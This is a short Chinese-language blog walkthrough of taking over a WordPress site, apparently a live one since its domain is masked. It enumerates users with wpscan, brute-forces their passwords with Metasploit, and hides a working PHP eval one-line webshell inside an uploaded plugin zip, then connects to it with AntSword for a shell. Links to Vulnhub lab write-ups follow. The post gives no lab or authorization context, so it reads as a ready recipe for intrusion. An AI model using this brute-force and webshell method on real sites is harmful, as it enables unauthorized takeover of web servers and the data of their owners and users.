渗透wordpress过程

条件：

本地机在10.xx

Kali也在10.xx 且能联网

蚁剑工具

Nmap进行扫描端口，发现只有80端口开放

使用wpscan工具，进行扫描

wpscan --url https://www.xxxxxxx.wiki/ --enumerate u

扫描指定用户

发现有几个用户

用msf对这几个用户进行密码爆破

得出登陆密码

登陆进入192.168.10.40

利用插件漏洞，进行渗透

下载插件

下载后解压，把一句话木马放入

Yjh.php

<?php

@eval($_POST[shell]);

然后把该文件夹压缩为zip格式，上传插件

之后打开蚁剑

输入url地址为下

输入一句话密码，添加成功

即获取网站shell

渗透wordpress过程相关推荐

记一次用WPScan辅助渗透WordPress站点
记一次用WPScan辅助渗透WordPress站点一.什么是WPScan? WPScan 是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress ...
cs linux内网渗透,记一次利用cs进行内网渗透的过程
记一次利用cs进行内网渗透的过程首先搭建好cs的服务端和客户端连接,下面正式进行渗透环境 kali:192.168.0.226 域控机:192.168.0.138 成员机:192.168.0.2 ...
关于网络渗透的过程以及感想记录
12.28 这个网站是我很早之前就想攻下的,经历大概如下: 1.想借着ctf的劲头去看看此网站,但是失败,原因是,ctf跟实战完全是两码子事儿啊!此网站的情况比较复杂,大部分是静态页面也就是html, ...
Vulnhub靶机:DC-7渗透详细过程
DC-7 前言提要这个靶机有用到社工~,还是蛮有趣的靶场地址:https://www.vulnhub.com/entry/dc-7,356/ DC-7是一个中级的靶场,需要具备以下前置知识: 基础 ...
Vulnhub靶机:DC-8渗透详细过程
DC-8 前情提要靶场地址:https://www.vulnhub.com/entry/dc-8,367/ DC-8是一个中级的靶场,需要具备以下前置知识: 基础的Linux命令及操作基础的渗透测 ...
Vulnhub靶机:DC-3渗透详细过程
前情提要靶场地址:https://www.vulnhub.com/entry/dc-32,312/ DC-3是一个适合初学者的靶场,需要具备以下前置知识: 基础的Linux命令及操作基础的渗透测试 ...
记录一次vuln靶场的渗透过程---driftingblues9
记录一次渗透的过程目录一.信息收集二.发现漏洞三.权限提升总结一.信息收集 1.使用nmap扫描网段,发现存活主机,以及开放的端口 nmap -v 192.168.216.0/24 192 ...
红队渗透靶场之W1R3S靶场(超详细!)
W1R3S考察知识 nmap的基本使用目录爆破工具的使用 CMS漏洞的利用 Linux用户的简单提权 W1R3S靶场搭建 W1R3S靶场下载地址: https://download.vulnhub. ...
metasploit 利用MS08-067渗透攻击xp系统全过程
工具:metasploit,目标系统 windows xp sp3 English 渗透攻击过程 1.search MS08-067 2. use exploit/windows/smb/ms0 ...

渗透wordpress过程

渗透wordpress过程相关推荐

最新文章

热门文章